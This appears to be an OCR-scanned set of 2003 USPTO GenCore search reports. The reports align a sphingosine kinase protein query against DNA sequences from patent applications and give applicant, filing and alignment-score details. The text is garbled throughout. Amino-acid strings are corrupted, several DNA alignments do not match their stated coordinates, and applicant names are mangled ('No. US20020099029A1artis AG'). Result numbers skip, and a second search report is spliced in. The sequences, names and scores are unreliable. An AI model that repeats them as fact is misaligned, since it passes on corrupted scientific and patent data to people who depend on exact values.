DB 1121 GTGAGGGGCCAGGTGCGCCCAACTACTTGTGATGTCACCGCTTGGCGAGCCCCCG 1180
QY 370 ProSerTrpLysProGlnGlnMetProProProGluGluProLeu 384
DB 1181 CCCAGCTGAGAGCCCGCAGATGCCACGCCGAGAGAGCCCTTA 1225

RESULT 4
US-09-796-692-2905
Sequence 2905, Application US/09796692
Publication No. US20020198362A1
GENERAL INFORMATION:
APPLICANT: Gaiger, Alexander
APPLICANT: Mannion, Jane
APPLICANT: Algate, Paul A.
TITLE OF INVENTION: COMPOSITIONS AND METHODS FOR THE DETECTION, DIAGNOSIS AND THERAPY
FILE REFERENCE: 2077.001200
CURRENT APPLICATION NUMBER: US/09/796,692
CURRENT FILING DATE: 2001-03-01

PRIOR APPLICATION NUMBER: 60/186,126
PRIOR FILING DATE: 2000-03-01
PRIOR APPLICATION NUMBER: 60/190,479
PRIOR FILING DATE: 2000-03-17
PRIOR APPLICATION NUMBER: 60/200,545
PRIOR FILING DATE: 2000-04-27
PRIOR APPLICATION NUMBER: 60/200,303
PRIOR FILING DATE: 2000-04-28
PRIOR APPLICATION NUMBER: 60/200,779
PRIOR FILING DATE: 2000-04-28
PRIOR APPLICATION NUMBER: 60/200,999
PRIOR FILING DATE: 2000-05-01
PRIOR APPLICATION NUMBER: 60/202,084
PRIOR FILING DATE: 2000-05-04
PRIOR APPLICATION NUMBER: 60/206,201
PRIOR FILING DATE: 2000-05-22
PRIOR APPLICATION NUMBER: 60/218,950
PRIOR FILING DATE: 2000-07-14
PRIOR APPLICATION NUMBER: 60/222,903
PRIOR FILING DATE: 2000-08-03
PRIOR APPLICATION NUMBER: 60/223,416
PRIOR FILING DATE: 2000-08-04
PRIOR APPLICATION NUMBER: 60/223,378
PRIOR FILING DATE: 2000-08-07
NUMBER OF SEQ ID NOS: 9597
SOFTWARE: FastSeq for Windows Version 3.0
SEQ ID NO 2905
LENGTH: 199
TYPE: DNA
ORGANISM: Homo sapiens
US-09-796-692-2905

Alignment Scores:
Pred. No.: 1,95e-56 Length: 199
Score: 65.00 Matches: 65
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 16.93% Indels: 0
Gaps: 0

US-09-784-810A-2 (1-384) x US-09-796-692-2905 (1-199)

QY 306 MetGluLysGlyArgHisMetGluTyrGluYrProTyrLeuValTyrValProValAla 325
DB 3 ATGAGAGAGGCGAGCATATGAGATGATAATGCCCTACTGTGATATGTCGCCGTGCTC 62
QY 326 AlaPheArgLeuGluProLysAspGlyLysGlyValPheAlaValAspGlyLysLeuMet 345
DB 63 GCCTCCGCTTGAGGCCCAAGCATGGAAAGGTGTGTCAGTGCATGGGGAATGTGATG 122
QY 346 ValSerGluAlaValGlnGlyGlnValHisProAsnTyrPheTrpMetValSerGlyCys 365
DB 123 GTTAGCGAGCGCTGCGAGGCGCAGTGCACCCCAACTACTTGTGATGTCAGTGTGCTG 182
QY 366 ValGluProProPro 370
DB 183 GTGAGGCCCGCGGCC 197

RESULT 5
US-10-040-862-2905
Sequence 2905, Application US/10040862
Publication No. US20030078396A1
GENERAL INFORMATION:
APPLICANT: Gaiger, Alexander
APPLICANT: Mannion, Jane
APPLICANT: Algate, Paul A.
APPLICANT: Retter, Marc
APPLICANT: Corixa Corporation
TITLE OF INVENTION: Compositions and Methods for the Detection, Diagnosis and Ther
FILE REFERENCE: 014058-013520US
CURRENT APPLICATION NUMBER: US/10/040,862
CURRENT FILING DATE: 2001-11-06


```
OY 328 ArgLeuGluProLysAspGlyLysGlyValPheAlaValAspGlyGluLeuMetValSer 347
DB 70 CCCTTGAGAGCCCAAGATGGAGAAAGGTGTTGCAGTGGATGGGAAATTGATGTTAGC 129
OY 348 GluAlaValGlnGlnGlnValAlaHisProAsnTrpPheTrpMetValSerGlyCysValGlu 367
DB 130 GAGGCGGTGCAGGCGCCAGTGCACCCCAACTACTTCTGATGTCAGCGGTTGCGTGGAG 189
OY 368 ProProPro 370
DB 190 CCCCCGCC 198

RESULT 8
US-09-954-456-1756/c
; Sequence 1756, Application US/09954456
; Patent No. US20020115057A1
; GENERAL INFORMATION:
; APPLICANT: Young, Paul
; TITLE OF INVENTION: Process for Identifying Anti-Cancer Therapeutic Agents Using Canc
; FILE REFERENCE: 689290-76
; CURRENT APPLICATION NUMBER: US/09/954,456
; PRIOR FILING DATE: 2001-09-18
; PRIOR APPLICATION NUMBER: US/60/233,617
; PRIOR FILING DATE: 2000-09-18
; PRIOR APPLICATION NUMBER: US/60/234,052
; PRIOR FILING DATE: 2000-09-20
; PRIOR APPLICATION NUMBER: US/60/234,923
; PRIOR FILING DATE: 2000-09-25
; PRIOR APPLICATION NUMBER: US/60/235,134
; PRIOR FILING DATE: 2000-09-25
; PRIOR APPLICATION NUMBER: US/60/235,637
; PRIOR FILING DATE: 2000-09-26
; PRIOR APPLICATION NUMBER: US/60/235,638
; PRIOR FILING DATE: 2000-09-26
; PRIOR APPLICATION NUMBER: US/60/235,711
; PRIOR FILING DATE: 2000-09-27
; PRIOR APPLICATION NUMBER: US/60/235,720
; PRIOR FILING DATE: 2000-09-27
; PRIOR APPLICATION NUMBER: US/60/235,840
; PRIOR FILING DATE: 2000-09-27
; PRIOR APPLICATION NUMBER: US/60/235,863
; NUMBER OF SEQ ID NOS: 2276
; SOFTWARE: PatentIn version 3.0
; SEQ ID NO 1756
; LENGTH: 394
; TYPE: DNA
; ORGANISM: Homo sapiens
US-09-954-456-1756

Alignment Scores:
Pred. No.: 4,71e-30 Length: 394
Score: 39.00 Matches: 39
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 10.16% Indels: 0
DB: 10 Gaps: 0

US-09-784-810A-2 (1-384) x US-09-954-456-1756 (1-394)

OY 346 ValSerGluAlaValGlnGlnValAlaHisProAsnTrpPheTrpMetValSerGlyCys 365
DB 394 GTTACGAGGCGCGTGCAGGCGCCAGTGCACCCCAACTACTTCTGATGTCAGTGGTGGC 335
OY 366 ValGluProProProSerTrpLysProGlnGlnMetProProProGlnGluProLeu 384
DB 334 GTGAGAGCCCGCCAGCTGTGAAGCCCGAGATGCCCGCCAGAGAGCCCTTA 278

RESULT 9
US-09-970-516-5
; Sequence 5, Application US/09970516
```

```
; Patent No. US20020099029A1
; GENERAL INFORMATION:
; APPLICANT: No. US20020099029A1artis AG
; TITLE OF INVENTION: Induction of blood vessel formation through administration of
; FILE REFERENCE: 4-31617
; CURRENT APPLICATION NUMBER: US/09/970,516
; CURRENT FILING DATE: 2001-10-04
; NUMBER OF SEQ ID NOS: 6
; SOFTWARE: PatentIn version 3.1
; SEQ ID NO 5
; LENGTH: 1149
; TYPE: DNA
; ORGANISM: Mus musculus
; FEATURE:
; NAME/KEY: CDS
; LOCATION: (1)..(1149)
; OTHER INFORMATION:
US-09-970-516-5

Alignment Scores:
Pred. No.: 1.29e-23 Length: 1149
Score: 33.00 Matches: 33
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 8.59% Indels: 0
DB: 10 Gaps: 0

US-09-784-810A-2 (1-384) x US-09-970-516-5 (1-1149)

OY 77 ValMetSerGlyAspGlyLeuMetHisGluValAlaAsnGlyLeuMetGluArgProAsp 96
DB 229 GTCATGTCGGTGATGATGCTCATGTCATGAGTGTGTAATGGCTATATGAAAGGCCGAC 288
OY 97 TrpGluThrAlaIleGlnLysProLeucysSerLeuPro 109
DB 289 TGGAGACTGTCATCCAGAAACCCCTGTGTAGCTCCCT 327

RESULT 10
US-09-784-810A-3
; Sequence 3, Application US/09784810A
; Patent No. US20020082203A1
; GENERAL INFORMATION:
; APPLICANT: RASTELLI, LUCA
; TITLE OF INVENTION: NOVEL SPHINGOSINE KINASES AND NUCLEIC ACIDS ENCODING
; FILE REFERENCE: 10716-08
; CURRENT APPLICATION NUMBER: US/09/784,810A
; CURRENT FILING DATE: 2001-02-14
; PRIOR APPLICATION NUMBER: 60/182,360
; PRIOR FILING DATE: 2000-02-14
; PRIOR APPLICATION NUMBER: 60/191,261
; PRIOR FILING DATE: 2000-03-22
; NUMBER OF SEQ ID NOS: 29
; SOFTWARE: PatentIn Ver. 2.1
; SEQ ID NO 3
; LENGTH: 1759
; TYPE: DNA
; ORGANISM: Mus musculus
US-09-784-810A-3

Alignment Scores:
Pred. No.: 1.88e-23 Length: 1759
Score: 33.00 Matches: 33
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 8.59% Indels: 0
DB: 10 Gaps: 0

US-09-784-810A-2 (1-384) x US-09-784-810A-3 (1-1759)

OY 77 ValMetSerGlyAspGlyLeuMetHisGluValAlaAsnGlyLeuMetGluArgProAsp 96
|||||
```

```

Db      555  GTCATGTCGGGTGATGCTGATGCATGACGTGATGGAATGGGCTAATGACAGCGCAGAC 614
Oy      97  TTPGLUTRAlAllegInLysProLeucYsSerLeuPro 109
Db      615  TGGAGAGCTGCCATCCAGAAACCCCTGTGTAGCCTCCCT 653

RESULT 11
US-09-783-590-9248
; Sequence 9248, Application US/09783590
; Patent No. US20020110850A1
; GENERAL INFORMATION:
; APPLICANT: Haseltine, William A.
; APPLICANT: L1. Haseltine, William A.
; APPLICANT: Rosen, Craig A.
; APPLICANT: Ruben, Steven M.
; TITLE OF INVENTION: Human Genes, Sequences, and Expression Products 16.2
; FILE REFERENCE: PO-16,2C1
; CURRENT FILING DATE: 2000-07-15
; PRIOR APPLICATION NUMBER: US/09/783,590
; PRIOR FILING DATE: 1995-04-12
; PRIOR APPLICATION NUMBER: 08/346,731
; PRIOR FILING DATE: 1994-11-21
; NUMBER OF SEQ ID NOS: 12485
; SOFTWARE: PatentIn Ver. 2.0
; SEQ ID NO 9248
; LENGTH: 480
; TYPE: DNA
; ORGANISM: Homo sapiens
; FEATURE:
; NAME/KEY: misc feature
; LOCATION: (68)
; OTHER INFORMATION: n equals a,t,g, or c
; NAME/KEY: misc feature
; LOCATION: (193)
; OTHER INFORMATION: n equals a,t,g, or c
; NAME/KEY: misc feature
; LOCATION: (220)
; OTHER INFORMATION: n equals a,t,g, or c
; NAME/KEY: misc feature
; LOCATION: (221)
; OTHER INFORMATION: n equals a,t,g, or c
; NAME/KEY: misc feature
; LOCATION: (236)
; OTHER INFORMATION: n equals a,t,g, or c
; NAME/KEY: misc feature
; LOCATION: (289)
; OTHER INFORMATION: n equals a,t,g, or c
; NAME/KEY: misc feature
; LOCATION: (297)
; OTHER INFORMATION: n equals a,t,g, or c
; NAME/KEY: misc feature
; LOCATION: (302)
; OTHER INFORMATION: n equals a,t,g, or c
; NAME/KEY: misc feature
; LOCATION: (322)
; OTHER INFORMATION: n equals a,t,g, or c
; NAME/KEY: misc feature
; LOCATION: (337)
; OTHER INFORMATION: n equals a,t,g, or c
; NAME/KEY: misc feature
; LOCATION: (350)
; OTHER INFORMATION: n equals a,t,g, or c
; NAME/KEY: misc feature
; LOCATION: (356)
; OTHER INFORMATION: n equals a,t,g, or c
; NAME/KEY: misc feature
; LOCATION: (367)
; OTHER INFORMATION: n equals a,t,g, or c
; NAME/KEY: misc feature
; LOCATION: (382)
; OTHER INFORMATION: n equals a,t,g, or c

```

```

; NAME/KEY: misc feature
; LOCATION: (384)
; OTHER INFORMATION: n equals a,t,g, or c
; NAME/KEY: misc feature
; LOCATION: (386)
; OTHER INFORMATION: n equals a,t,g, or c
; NAME/KEY: misc feature
; LOCATION: (391)
; OTHER INFORMATION: n equals a,t,g, or c
; NAME/KEY: misc feature
; LOCATION: (400)
; OTHER INFORMATION: n equals a,t,g, or c
; NAME/KEY: misc feature
; LOCATION: (412)
; OTHER INFORMATION: n equals a,t,g, or c
; NAME/KEY: misc feature
; LOCATION: (451)
; OTHER INFORMATION: n equals a,t,g, or c
; OTHER INFORMATION: n equals a,t,g, or c
US-09-783-590-9248

Alignment Scores:
Pred. No.: 6.45e-17 Length: 480
Score: 26.00 Matches: 26
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 6.77% Indels: 0
DB: 10 Gaps: 0

US-09-784-810A-2 (1-384) x US-09-783-590-9248 (1-480)
Oy      47  ILeSerPheThrLeuMetLeuThrGluArgArgAsnHisAlaArgGluLeuValArgSer 65
Db      12  ATCTCTTCACGCTGATGCTACTGAGCGGGAACCGCGGAACTGTGCGATCG 71
Oy      67  GluGluLeuGlyArgTrp 72
Db      72  GAGGAGCTGCGCGCTGCG 89

RESULT 12
US-09-796-487-17/c
; Sequence 17, Application US/09796487
; Patent No. US20020042358A1
; GENERAL INFORMATION:
; APPLICANT: Spiegell, Sarah
; TITLE OF INVENTION: Sphingosin Kinase, Cloning, Expression and Methods of Use
; FILE REFERENCE: 07320001a (2033957-0001)
; CURRENT APPLICATION NUMBER: US/09/796,487
; CURRENT FILING DATE: 2001-03-02
; PRIOR APPLICATION NUMBER: US 60/186,532
; PRIOR FILING DATE: 2000-03-03
; PRIOR APPLICATION NUMBER: US 09/530,868
; PRIOR FILING DATE: 2000-05-05
; NUMBER OF SEQ ID NOS: 17
; SOFTWARE: PatentIn version 3.1
; SEQ ID NO 17
; LENGTH: 30
; TYPE: DNA
; ORGANISM: Unknown
; FEATURE:
; NAME/KEY: Artificial sequence of the antisense primer sphk1-GSP5 in line
; OTHER INFORMATION: , page 8.
; NAME/KEY: misc-feature
; LOCATION: (1)..(30)
; OTHER INFORMATION: Corresponding to the artificial sequence of antisense primer sp
; OTHER INFORMATION: -GSP5 in line 5-6, page 8.
US-09-796-487-17

Alignment Scores:
Pred. No.: 0.67 Length: 30
Score: 9.00 Matches: 9
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 2.34% Indels: 0

```

```
DB: 10 Gaps: 0
US-09-784-810a-2 (1-384) x US-09-796-487-17 (1-30)
QY 376 GImetpProProGluGluProleu 384
Db 30 CAGATGCACCGCCAGAGGCCCTTA 4

RESULT 13
US-09-960-352-8686
Sequence 8686, Application US/09960352
Patent No. US20020137139A1
GENERAL INFORMATION:
APPLICANT: Warren, Wesley C.
APPLICANT: Tao, Nengbing
APPLICANT: Byatt, John C.
APPLICANT: Mathialagan, Nagappan
TITLE OF INVENTION: NUCLEIC ACID AND OTHER MOLECULES ASSOCIATED WITH LACTATION AND
FILE REFERENCE: 16511.006/37-21(10298)C
CURRENT FILING DATE: 2001-09-24
CURRENT APPLICATION NUMBER: US/09/960,352
NUMBER OF SEQ ID NOS: 15112
SEQ ID NO 8686
LENGTH: 436
TYPE: DNA
ORGANISM: Bos taurus
OTHER INFORMATION: Clone ID: 37-LIB34-039-Q1-E1-B2
US-09-960-352-8686

Alignment Scores:
Pred. No.: 7.11 Length: 436
Score: 9.00 Matches: 9
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 2.34% Indels: 0
Gaps: 0
DB: 10

US-09-784-810a-2 (1-384) x US-09-960-352-8686 (1-436)
QY 64 ValArgSerGluGluGlyArgTrp 72
Db 6 GTCCGGAGTGAGAGACTCGGCGCTGG 32

RESULT 14
US-09-970-516-3
Sequence 3, Application US/09970516
Patent No. US20020099029A1
GENERAL INFORMATION:
APPLICANT: NO. US20020099029A1artis AG
TITLE OF INVENTION: Induction of blood vessel formation through administration of
FILE REFERENCE: 4-31617 polynucleotides encoding sphingosine kinases
CURRENT FILING DATE: 2001-10-04
CURRENT APPLICATION NUMBER: US/09/970,516
NUMBER OF SEQ ID NOS: 6
SOFTWARE: PatentIn version 3.1
SEQ ID NO 3
LENGTH: 1857
TYPE: DNA
ORGANISM: Homo sapiens
FEATURE:
NAME/KEY: CDS
LOCATION: (1)..(1857)
OTHER INFORMATION:
US-09-970-516-3

Alignment Scores:
Pred. No.: 25.5 Length: 1857
Score: 9.00 Matches: 9
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 2.34% Indels: 0
Gaps: 0

DB: 10 Gaps: 0
US-09-784-810a-2 (1-384) x US-09-970-516-3 (1-1857)
QY 299 LeuLeuArgLeuPheLeuAlaMetGlu 307
Db 1630 CTGCTGCGCCTTTCTTGCCATGAG 1656

RESULT 15
US-09-817-676a-13
Sequence 13, Application US/09817676A
Patent No. US20020042101A1
GENERAL INFORMATION:
APPLICANT: Spiegel, Sarah
APPLICANT: Kohama, Takafumi
TITLE OF INVENTION: Mammalian Sphingosine Kinase Type 2 Isoforms, Cloning,
FILE REFERENCE: 00170/HG Expression and Methods of Use Thereof
CURRENT FILING DATE: 2001-03-26
CURRENT APPLICATION NUMBER: US/09/817,676A
PRIOR FILING DATE: 2000-04-03
PRIOR APPLICATION NUMBER: US 60/194,318
NUMBER OF SEQ ID NOS: 15
SOFTWARE: PatentIn Ver. 2.0
SEQ ID NO 13
LENGTH: 2380
TYPE: DNA
ORGANISM: Homo sapiens
FEATURE:
NAME/KEY: CDS
LOCATION: (7)..(1860)
PUBLICATION INFORMATION:
TITLE: Molecular cloning and functional characterization of a
JOURNAL: J. Biol. Chem.
VOLUME: 275
ISSUE: 26
PAGES: 19513-19520
DATE: 2000-06-30
DATABASE ACCESSION NUMBER: AF245447
DATABASE ENTRY DATE: 2000-06-27
US-09-817-676a-13

Alignment Scores:
Pred. No.: 31.8 Length: 2380
Score: 9.00 Matches: 9
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 2.34% Indels: 0
Gaps: 0
DB: 10

US-09-784-810a-2 (1-384) x US-09-817-676a-13 (1-2380)
QY 299 LeuLeuArgLeuPheLeuAlaMetGlu 307
Db 1636 CTGCTGCGCCTTTCTTGCCATGAG 1662

Search completed: July 12, 2003, 21:28:09
Job time : 223 secs
```


GenCore version 5.1.6
Copyright (c) 1993 - 2003 Compugen Ltd.

OM protein - nucleic search, using frame_plus_p2n model

Run on: July 12, 2003, 19:50:38 ; Search time 63 Seconds
(Without alignments)
1869.268 Million cell updates/sec

Title: US-09-784-810A-2

Perfect score: 384
Sequence: 1 MDPAAGPRGVLPKRCRYLV.....CVPPEPWKQMPPEPEPL 384

Scoring table:

OLIGO	
Xgapop 60.0 , Xgapext 60.0	
Ygapop 60.0 , Ygapext 60.0	
Fgapop 6.0 , Fgapext 7.0	
Delop 6.0 , Delext 7.0	

Searched: 441362 seqs, 15338381 residues

Word size: 1

Total number of hits satisfying chosen parameters: 878600

Minimum DB seq length: 0
Maximum DB seq length: 2000000000

Post-processing: Listing first 45 summaries

Command line parameters:

-MODEL=frame_p2n.model
-Q=/cgn2_1/USPTO.spool/US09784810/runat_11072003_103505_27216/app_query.fasta.1.583
-DB=Issued_Patents_NA -OMT=fastap -SUFFIX=olig.rni -MINMATCH=0.1 -LOOPCL=0
-LOOPEXT=0 -UNITS=bits -START=1 -END=1 -MATRIX=oligo -TRANS=human40.cdi
-LIST=45 -DOCALLIGN=200 -THR.SCORE=quality -THR.MIN=1 -ALIGN=15 -MODE=LOCAL
-OUTPMT=ptc -NORM=ext -HEAPSIZ=500 -MINLEN=0 -MAXLEN=2000000000
-USER=us09784810.ecgn.1.1.40 -runat_11072003_103505_27216 -NCPU=6 -ICPU=3
-NO_MMAP -LARGEORDER -NEG_SCORES=0 -WAIT -DSPBLOCK=100 -LONGLOG
-DEV_TIMEOUT=120 -WARN_TIMEOUT=30 -THREADS=1 -XGAPOP=60 -XGAPEXT=60 -Fgapop=6
-Fgapext=7 -Ygapop=60 -Ygapext=60 -DELOP=6 -DELEXT=7

Database :

Issued_Patents_NA.*
1: /cgn2_6/ptodata/1/lna/5A.COMB.seq.*
2: /cgn2_6/ptodata/1/lna/5B.COMB.seq.*
3: /cgn2_6/ptodata/1/lna/6A.COMB.seq.*
4: /cgn2_6/ptodata/1/lna/6B.COMB.seq.*
5: /cgn2_6/ptodata/1/lna/PCUTS.COMB.seq.*
6: /cgn2_6/ptodata/1/lna/backfiles1.seq.*

Pred. No. is the number of results predicted by chance to have a
score greater than or equal to the score of the result being printed,
and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length	DB ID	Description
1	9	2.3	18609	4 US-08-943-731-1	Sequence 1, Appli
2	8	2.1	1128	4 US-08-976-259-25	Sequence 25, Appli
3	8	2.1	1602	2 US-08-770-544-3	Sequence 3, Appli
4	8	2.1	1789	3 US-09-035-706-1	Sequence 1, Appli
5	8	2.1	1789	3 US-08-955-841-1	Sequence 1, Appli
6	8	2.1	1789	4 US-09-428-219-3	Sequence 3, Appli
7	8	2.1	1789	4 US-09-390-425-1	Sequence 1, Appli
8	8	2.1	1789	4 US-09-556-906-1	Sequence 1, Appli
9	8	2.1	4456	3 US-08-321-686B-1	Sequence 1, Appli
10	8	2.1	43950	4 US-09-735-934A-3	Sequence 3, Appli
11	8	2.1	162450	4 US-09-345-882-1	Sequence 1, Appli
12	8	2.1	4403765	4 US-09-103-840A-2	Sequence 2, Appli

13	8	2.1	441529	4 US-09-103-840A-1	Sequence 1, Appli
14	7	1.8	33	2 US-08-177-109A-3	Sequence 3, Appli
15	7	1.8	33	2 US-08-687-706-3	Sequence 3, Appli
16	7	1.8	53	1 US-07-734-225A-18	Sequence 18, Appli
17	7	1.8	53	1 US-07-692-995B-18	Sequence 18, Appli
18	7	1.8	53	1 US-08-488-457-18	Sequence 18, Appli
19	7	1.8	53	2 US-08-338-793D-18	Sequence 18, Appli
20	7	1.8	53	2 US-08-431-459A-18	Sequence 18, Appli
21	7	1.8	55	1 US-07-734-225A-17	Sequence 17, Appli
22	7	1.8	55	1 US-07-692-995B-17	Sequence 17, Appli
23	7	1.8	55	1 US-08-488-457-17	Sequence 17, Appli
24	7	1.8	55	2 US-08-338-793D-17	Sequence 17, Appli
25	7	1.8	55	2 US-08-431-459A-17	Sequence 17, Appli
26	7	1.8	62	4 US-09-384-212-5	Sequence 5, Appli
27	7	1.8	84	4 US-09-112-066-7	Sequence 7, Appli
28	7	1.8	98	4 US-09-384-212-4	Sequence 4, Appli
29	7	1.8	120	3 US-09-037-524-3	Sequence 3, Appli
30	7	1.8	130	4 US-09-384-212-3	Sequence 3, Appli
31	7	1.8	143	4 US-08-943-731-32	Sequence 32, Appli
32	7	1.8	291	4 US-09-266-132-6	Sequence 6, Appli
33	7	1.8	291	4 US-09-836-941-6	Sequence 6, Appli
34	7	1.8	299	4 US-09-060-756-56	Sequence 56, Appli
35	7	1.8	308	4 US-09-060-756-532	Sequence 532, App
36	7	1.8	328	4 US-09-060-756-406	Sequence 406, App
37	7	1.8	355	4 US-09-060-756-390	Sequence 390, App
38	7	1.8	369	4 US-09-329-882-3	Sequence 3, Appli
39	7	1.8	392	4 US-09-345-882-5	Sequence 5, Appli
40	7	1.8	412	4 US-09-383-586-28	Sequence 28, Appli
41	7	1.8	427	4 US-09-060-756-202	Sequence 202, App
42	7	1.8	438	4 US-09-060-756-112	Sequence 112, App
43	7	1.8	480	4 US-08-998-416-197	Sequence 197, App
44	7	1.8	487	4 US-09-328-111-13	Sequence 13, Appli
45	7	1.8	490	4 US-08-998-416-882	Sequence 882, App

ALIGNMENTS

RESULT 1
US-08-943-731-1
Sequence 1, Application US/08943731
Patent No. 6265157
GENERAL INFORMATION:
APPLICANT: PROCKOP, DARWIN J.
APPLICANT: SPOTILA, LORETTA D.
APPLICANT: DELTRAS, CONSTANTINOS D.
APPLICANT: SEREDA, LANISA
APPLICANT: LARSON, ANDREA W.
APPLICANT: PACK, MICHAEL
APPLICANT: COLIGE, ALAIN
APPLICANT: EARLY, JAMES
APPLICANT: KORRKO, JARMO
APPLICANT: ALA-KORRKO, LEENA, et al.
TITLE OF INVENTION: COMPOSITIONS AND METHODS FOR DETECTING
TITLE OF INVENTION: ALTERED TYPE I OR TYPE IX COLLAGEN GENE SEQUENCES
NUMBER OF SEQUENCES: 666
CORRESPONDENCE ADDRESS:
ADDRESSEE: PANITCH SCHWARZE JACOBS & NADEL, P.C.
STREET: ONE COMMERCE SQUARE, 2005 MARKET STREET, 22ND
STREET: FLR.
CITY: PHILADELPHIA
STATE: PA
COUNTRY: USA
ZIP: 19103-7086
COMPUTER READABLE FORM:
MEDIUM TYPE: Floppy disk
COMPUTER: IBM PC compatible
OPERATING SYSTEM: PC-DOS/MS-DOS
SOFTWARE: PatentIn Release #1.0, Version #1.30
CURRENT APPLICATION DATA: US/08/943,731
APPLICATION NUMBER: US/08/943,731
FILING DATE: 03-OCT-1997
CLASSIFICATION: 435
PRIOR APPLICATION DATA:

APPLICATION NUMBER: US 08/212,322
FILING DATE: 14-MAR-1994
PRIORITY APPLICATION DATA:
APPLICATION NUMBER: US 07/803,628
FILING DATE: 03-DEC-1991
ATTORNEY/AGENT INFORMATION:
NAME: DOYLE LEARY Ph.D., KATHRYN
REGISTRATION NUMBER: 36,317
REFERENCE/DOCKET NUMBER: 9598-27
TELECOMMUNICATION INFORMATION:
TELEPHONE: 215-965-1284
TELEFAX: 215-567-2991
TELEX: 831-494
INFORMATION FOR SEQ ID NO: 1:
SEQUENCE CHARACTERISTICS:
LENGTH: 18609 base pairs
TYPE: nucleic acid
STRANDEDNESS: single
TOPOLOGY: linear
MOLECULE TYPE: DNA (genomic)
US-08-943-731-1

Alignment Scores:
Pred. No.: 125 Length: 18609
Score: 9.00 Matches: 9
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 2.34% Indels: 0
Gaps: 0
DB: 4

US-09-784-810a-2 (1-384) x US-08-943-731-1 (1-18609)
QY 104 ProleucysSerleuProAlaGlySer 112
DB 9033 CCCCTTGCTCTCCTCGACGGTCC 9059

RESULT 2
US-08-976-259-25
Sequence 25, Application US/08976259
Patent No. 6316609
GENERAL INFORMATION:
APPLICANT: Dillon, Patrick J.
APPLICANT: Choi, Gil H.
APPLICANT: Welch, Rodney A.
TITLE OF INVENTION: Nucleotide Sequence of Escherichia coli
Patent No. 6316609
NUMBER OF SEQUENCES: 142
CORRESPONDENCE ADDRESS:
ADDRESSEE: Sterne, Kessler, Goldstein & Fox P.L.L.C.
STREET: 1100 New York Ave, N.W., Suite 600
CITY: Washington
STATE: DC
COUNTRY: USA
ZIP: 20005-3934
COMPUTER READABLE FORM:
MEDIUM TYPE: Diskette, 3.50 inch, 1.4MB storage
SOFTWARE: HP Vectra 486/33
OPERATING SYSTEM: MSDOS version 6.2
CURRENT APPLICATION DATA:
APPLICATION NUMBER: US/08/976,259
FILING DATE: Herewith
CLASSIFICATION: 536
PRIORITY APPLICATION DATA:
APPLICATION NUMBER: US 60/031,626 AND US 60/061,953
ATTORNEY/AGENT INFORMATION:
NAME: Steffe, Eric K.
REGISTRATION NUMBER: 36,688
REFERENCE/DOCKET NUMBER: 1488, 0740002/EKS/CBM
TELECOMMUNICATION INFORMATION:
TELEPHONE: (202) 371-2600
TELEFAX: (202) 371-2540
INFORMATION FOR SEQ ID NO: 25:

SEQUENCE CHARACTERISTICS:
LENGTH: 1128 base pairs
TYPE: nucleic acid
STRANDEDNESS: double
TOPOLOGY: linear
US-08-976-259-25

Alignment Scores:
Pred. No.: 92.8 Length: 1128
Score: 8.00 Matches: 8
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 2.08% Indels: 0
Gaps: 0
DB: 4

US-09-784-810a-2 (1-384) x US-08-976-259-25 (1-1128)
QY 162 ArgSerPheSerValIleuSerIleu 169
DB 857 AGATCTTCAGTGTCTCCTGAGTCTT 880

RESULT 3
US-08-770-544-3/c
Sequence 3, Application US/08770544
Patent No. 5907085
GENERAL INFORMATION:
APPLICANT: Gonsalves, Dennis
APPLICANT: Ling, Kai-Shu
TITLE OF INVENTION: GRAPVINE LEAFROLL VIRUS PROTEINS AND
THEIR USES
NUMBER OF SEQUENCES: 32
CORRESPONDENCE ADDRESS:
ADDRESSEE: Nixon, Hargrave, Devans & Doyle LLP
STREET: Clinton Square, P.O. Box 1051
CITY: Rochester
STATE: New York
COUNTRY: U.S.A.
ZIP: 14603
COMPUTER READABLE FORM:
MEDIUM TYPE: Floppy disk
COMPUTER: IBM PC compatible
OPERATING SYSTEM: PC-DOS/MS-DOS
SOFTWARE: Patent Release #1.0, Version #1.30
CURRENT APPLICATION DATA:
APPLICATION NUMBER: US/08/770,544
FILING DATE:
CLASSIFICATION: 435
PRIORITY APPLICATION DATA:
APPLICATION NUMBER: US 60009008
FILING DATE: 21-DEC-1995
ATTORNEY/AGENT INFORMATION:
NAME: Goldman, Michael L.
REGISTRATION NUMBER: 30,727
REFERENCE/DOCKET NUMBER: 19603/621
TELECOMMUNICATION INFORMATION:
TELEPHONE: (716) 263-1304
TELEFAX: (716) 263-1600
INFORMATION FOR SEQ ID NO: 3:
SEQUENCE CHARACTERISTICS:
LENGTH: 1602 base pairs
TYPE: nucleic acid
STRANDEDNESS: single
TOPOLOGY: linear
MOLECULE TYPE: cDNA
US-08-770-544-3

Alignment Scores:
Pred. No.: 128 Length: 1602
Score: 8.00 Matches: 8
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 2.08% Indels: 0
Gaps: 0
DB: 2

US-09-784-810A-2 (1-384) x US-08-770-544-3 (1-1602)

QY 203 LeuArgThrTyArgGlyArgLeu 210
|||||

Db 646 TTACGACCTATCGTGTGACTA 623

RESULT 4

US-09-035-706-1/C

Sequence 1, Application US/09035706
Patent No. 6001622

GENERAL INFORMATION:

APPLICANT: Dedhar, Shoukat

APPLICANT: Hannigan, Greg

TITLE OF INVENTION: Integrin-Linked Kinase and
Its Uses

NUMBER OF SEQUENCES: 11

CORRESPONDENCE ADDRESS:

ADDRESSEE: Bozicevic & Reed, LLP

STREET: 285 Hamilton Avenue, Suite 200

CITY: Palo Alto
